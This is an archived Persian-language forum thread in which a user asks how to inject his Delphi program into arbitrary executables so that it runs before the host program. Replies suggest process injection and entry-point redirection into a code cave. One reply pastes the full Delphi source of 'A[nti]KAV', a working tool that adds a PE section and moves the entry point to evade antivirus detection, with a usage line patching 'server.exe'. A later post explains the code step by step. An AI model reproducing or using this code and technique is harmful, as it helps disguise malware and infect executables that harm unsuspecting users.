PDA

نسخه کامل مشاهده نسخه کامل : آیا این امکان وجود دارد که برنامه ام را به طور کامل به فایل هدف تزریق کنم



Morteza_SOS
03-08-2008, 19:46
سلام دوستان می خواستم بدونم که آیا این امکان وجود دارد که برنامه ام را که در دلفی نوشته ام را به هر فایل اجرایی تزریق کنم به طوری که اگر کاربر فایل هدف را که برنامه ام را به آن تزریق کرده ام را اجرا کرد اول برنامه ی من ( کد تزریقی ) اجرا شود و اگر کاربر بر روی دکمه ی OK روی فرم پروژه ام کلیک کرد برنامه ی من مخفی شود یا بسته شود و فایل هدف اجرا شود و اگر روی دکمه ی Exit کلیک کرد برنامه به طور کامل بسته شود چه برنامه ی من چه برنامه ی هدف مطمئنم شدنی است حالا از دوستان می خوام که منو راهنمایی کنند .

romixery
04-08-2008, 08:01
ببين دوست عزيز، شما مي خواي يه فايل اجرايي رو دستكاري كني. براي اين كار دنبال هيچ برنامه ديگه جز Assembly نرو. چون نميشه. تنها برنامه اي كه توانايي تغيير در فايل اجرايي رو داره، Assembly هستش. البته تغيير يه فايل اجرايي با اسمبلي هم كار آسوني نيست. بايد بر اسمبلي تمركز داشته باشي. به طور خاص اگه مي خواي يه فايل اجرايي رو به فايل اجرايي ديگه اي تزريق كني (مانند اكثر كرك نرم افزارها و بازيها)،‌مي توني برنامه اي رو كه به دلفي نوشتي را به اسمبلي تبديل كني، برنامه اي رو هم كه ميخواي توش برنامت تزريق كني رو اسمبلي كني، بعدش در جاي مناسب، كدهاي اسمبلي برنامه اي كه با دلفي نوشتي رو در اون كپي كني.

NoneForce
04-08-2008, 09:47
سلام دوستان می خواستم بدونم که آیا این امکان وجود دارد که برنامه ام را که در دلفی نوشته ام را به هر فایل اجرایی تزریق کنم به طوری که اگر کاربر فایل هدف را که برنامه ام را به آن تزریق کرده ام را اجرا کرد اول برنامه ی من ( کد تزریقی ) اجرا شود و اگر کاربر بر روی دکمه ی OK روی فرم پروژه ام کلیک کرد برنامه ی من مخفی شود یا بسته شود و فایل هدف اجرا شود و اگر روی دکمه ی Exit کلیک کرد برنامه به طور کامل بسته شود چه برنامه ی من چه برنامه ی هدف مطمئنم شدنی است حالا از دوستان می خوام که منو راهنمایی کنند .

سلام
يه سري به اين فروم بزن :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

و


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

و


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

F A R H A D
04-08-2008, 14:04
سلام دوستان می خواستم بدونم که آیا این امکان وجود دارد که برنامه ام را که در دلفی نوشته ام را به هر فایل اجرایی تزریق کنم به طوری که اگر کاربر فایل هدف را که برنامه ام را به آن تزریق کرده ام را اجرا کرد اول برنامه ی من ( کد تزریقی ) اجرا شود و اگر کاربر بر روی دکمه ی OK روی فرم پروژه ام کلیک کرد برنامه ی من مخفی شود یا بسته شود و فایل هدف اجرا شود و اگر روی دکمه ی Exit کلیک کرد برنامه به طور کامل بسته شود چه برنامه ی من چه برنامه ی هدف مطمئنم شدنی است حالا از دوستان می خوام که منو راهنمایی کنند .

با سلام. بله دوست عزيز شدني هست
لينكهاي noneforce مفيد هست اما شما process injection رو جستجو كنيد تا زودتر به جواب برسيد.

Morteza_SOS
05-08-2008, 01:14
از همه ی دوستان ممنونم رفتم سراغ سایت ها و همچنین در حال جستجو هستم بزودی نتیجه را اعلام می کنم .

Morteza_SOS
06-08-2008, 05:28
دوستان من که پاک گیج شدم اکثر تاپیک ها در رابطه با ++c هست ...
اگه بشه یه کاری هم مثل این پکرها و پروتکتورها کرد خیلی خوب می شد ؟؟؟
که مثلا اگه از نسخه نمایشی شون استفاده کنید وقتی فایلی را پروتکت یا پک می کنید یه فرم ظاهر می شه و اعلام می کنه که از نسخه آزمایشی استفاده کرده اید ...

ghoghnoose_dana
07-08-2008, 14:02
شما میتونین از uallcolection استفاده کنین که یه unit به نام disasemble داره تو دلفی هم میشه بدون کمک اسمبلی یک فایل رو به یک فایل دیگه تزریق کرد کافیه فایل خودتون رو در قسمت خالی و انتهای فایل دوم قرار داده و بعد از پیدا کردن oep فایل اول نزدیکترین jump رو یه کدتون ببرین و در انتها با یه jump دیگه روند اجرای برنامه رو به برنامه اصلی واگذار کنیدیه کد disasemble هم تو [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ] ([ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]) هست که حتما به شما کمک میکنه و [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

Morteza_SOS
08-08-2008, 04:47
شما میتونین از uallcolection استفاده کنین که یه unit به نام disasemble داره تو دلفی هم میشه بدون کمک اسمبلی یک فایل رو به یک فایل دیگه تزریق کرد کافیه فایل خودتون رو در قسمت خالی و انتهای فایل دوم قرار داده و بعد از پیدا کردن oep فایل اول نزدیکترین jump رو یه کدتون ببرین و در انتها با یه jump دیگه روند اجرای برنامه رو به برنامه اصلی واگذار کنیدیه کد disasemble هم تو [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ] ([ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]) هست که حتما به شما کمک میکنه و [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

خیلی ممنون دوست من :10: دارم به سایت هایی که معرفی کردید سر می زنم نتیجه را بعدا اعلام می کنم ( بعد از مراجعه به سایت هایی که شما معرفی کردید ! )
SOS

Morteza_SOS
08-08-2008, 05:17
شما میتونین از uallcolection استفاده کنین که یه unit به نام disasemble داره تو دلفی هم میشه بدون کمک اسمبلی یک فایل رو به یک فایل دیگه تزریق کرد کافیه فایل خودتون رو در قسمت خالی و انتهای فایل دوم قرار داده و بعد از پیدا کردن oep فایل اول نزدیکترین jump رو یه کدتون ببرین و در انتها با یه jump دیگه روند اجرای برنامه رو به برنامه اصلی واگذار کنیدیه کد disasemble هم تو [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ] ([ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]) هست که حتما به شما کمک میکنه و [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

خیلی ممنون از راهنمایی هاتون ولی من هر چی disasemble و uallcolection را سرچ کردم( در سایت
برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید ) به نتیجه نرسیدم ( پیدا نکردم )

NoneForce
08-08-2008, 12:16
سلام

يه نگاهي هم به اين صفحه بيندازيد ، سورس كامل براي VS است،‌ولي كل كار را قدم به قدم توضيح داده :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

Morteza_SOS
09-08-2008, 01:41
NoneForce ، براوو ، خیلی جامع بود ...
من که دارم مو به مو می خونم خیلی خوشم اومده ...
راستی اگه سورس دلفی برای این دسته از برنامه ها داری دریغ نکن .

ghoghnoose_dana
10-08-2008, 20:55
من از این چیزها تو ارشیوم زیاد دارم باید بگردم پیدا کنم فقط یه کم طول میکشه

این کد برای اضافه کردن یک سکشن به یک فایل دیگه




This program bypass: KAV, AntiVir, F-Prot, and some other AVs ...
Mostly users still think KAV is still best AV, but times changed, i made this
Application to show users that KAV became (or was always) very bad.
A simple EntryPoint move can make a Application undetected. That isnt secure
anymore, people should better begin to use AVs with Heuristics like NOD32, VBA32,
BitDefender and make their PCs more secure. ;)

THIS IS A OPENSOURCE PROJECT, LEARN FROM IT OR DIE TRYIN :)

}

program AKAV;

{$APPTYPE CONSOLE}

uses
Windows;

function AddSection(FileName: String; SectionName: String): Boolean;
const
SectionCode: Array[0..6] of Byte = (
$B8, $00, $00, $00, $00, // MOV EAX, $00000000
$FF, $E0); // JMP EAX
var
i: ShortInt;
hFile: THandle;
DosHeader: TImageDosHeader;
NtHeaders: TImageNtHeaders;
SectionHeader, NewSection: TImageSectionHeader;
dwOldEntryPoint, dwReadBytes, dwWrittenBytes: DWORD;
begin
Result := False;
// Read DOS Header
hFile := CreateFile(PChar(FileName), GENERIC_ALL, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
if hFile = 0 then
begin
CloseHandle(hFile);
Exit;
end;
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
ReadFile(hFile, DosHeader, sizeof(DosHeader), dwReadBytes, nil);
if dwReadBytes = sizeof(DosHeader) then
begin
// Read Nt Header
SetFilePointer(hFile, DosHeader._lfanew, nil, FILE_BEGIN);
ReadFile(hFile, NtHeaders, sizeof(NtHeaders), dwReadBytes, nil);
if dwReadBytes = sizeof(NtHeaders) then
begin
// Read Section Header
SetFilePointer(hFile, sizeof(SectionHeader) * (NtHeaders.FileHeader.NumberOfSections -1), nil, FILE_CURRENT);
ReadFile(hFile, SectionHeader, sizeof(SectionHeader), dwReadBytes, nil);
if dwReadBytes = sizeof(SectionHeader) then
begin
// New Section
if SectionName = '' then
SectionName := '.EDI';
// Section Name
for i := 0 to 7 do
NewSection.Name[i] := Byte(SectionName[i +1]);
// The options of the Section
NewSection.VirtualAddress := NtHeaders.OptionalHeader.SizeOfImage;
NewSection.Misc.VirtualSize := $200;
NewSection.SizeOfRawData := (NewSection.VirtualAddress div NtHeaders.OptionalHeader.FileAlignment +1) *
NtHeaders.OptionalHeader.FileAlignment - NtHeaders.OptionalHeader.SizeOfImage;
NewSection.PointerToRawData := SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData;
NewSection.Characteristics := $E0000020;
Inc(NtHeaders.FileHeader.NumberOfSections);

// Write new Section
WriteFile(hFile, NewSection, sizeof(NewSection), dwWrittenBytes, nil);
if dwWrittenBytes = sizeof(NewSection) then
begin
// New Entrypoint
dwOldEntryPoint := NtHeaders.OptionalHeader.AddressOfEntryPoint + NtHeaders.OptionalHeader.ImageBase;
NtHeaders.OptionalHeader.AddressOfEntryPoint := NewSection.VirtualAddress;
// change the SectionCode "EntryPoint"
PDWORD(DWORD(@SectionCode) +1)^ := dwOldEntryPoint;
// write the new sizeofimage
NtHeaders.OptionalHeader.SizeOfImage := NtHeaders.OptionalHeader.SizeOfImage + NewSection.Misc.VirtualSize;
SetFilePointer(hFile, DosHeader._lfanew, nil, FILE_BEGIN);
WriteFile(hFile, NtHeaders, sizeof(NtHeaders), dwWrittenBytes, nil);
if dwWrittenBytes = sizeof(NtHeaders) then
begin
// write the new section
SetFilePointer(hFile, GetFileSize(hFile, nil), nil, FILE_BEGIN);
WriteFile(hFile, SectionCode, NewSection.Misc.VirtualSize, dwWrittenBytes, nil);
if dwWrittenBytes = NewSection.Misc.VirtualSize then
begin
CloseHandle(hFile);
Result := True;
end else
CloseHandle(hFile);
end else
CloseHandle(hFile);
end else
CloseHandle(hFile);
end else
CloseHandle(hFile);
end else
CloseHandle(hFile);
end else
CloseHandle(hFile);
end;

begin
WriteLn;
WriteLn('A[nti]KAV by ErazerZ');
WriteLn('5th January 2006');
WriteLn('Web: [ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]');
WriteLn('E-Mail: ErazerZ@gmail.com');
WriteLn;
if (ParamStr(1) <> '') then
begin
if AddSection(ParamStr(1), ParamStr(2)) then
WriteLn('File is patched!')
else
WriteLn('Error while patching!');
end else
begin
WriteLn('Usage:' +#9#9+ 'AKAV.exe <your Application''s path> <your Section Name>');
WriteLn('Example:' +#9+ 'AKAV.exe "c:\server.exe" ".ErazerZ"');
end;
end.

Morteza_SOS
11-08-2008, 01:49
می شه یه مقدار در مورد کد توضیح بدید ممنون می شم .
اگه امکان داره سورس پروژه قرار بدید چون توی انجمن همه چیز به هم ریخته نمایش داده می شه .

ghoghnoose_dana
13-08-2008, 22:34
در ابتدا این کد میاد فایل رو برای خوندن باز میکنه با createfile بعد با خوندن مقادیر dosheaderو ntheader میاد تعداد سکشنها و نقطه شروع برنامه رو پیدا میکنه و با دستکاری بخشهایی از اون که مربوط به ادرس شروع و طول هر سکشن هست یک سکشن برای کد خودش ایجاد میکنه و با writefile اطلاعات رو به سکشن جدید انتقال میده و با تغییر image size و سکشن مربوط به کد و تغییر نقطه شروعبرنامه با عث اجرای کد میشه

اینم یه disasemble به زبان دلفی



برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید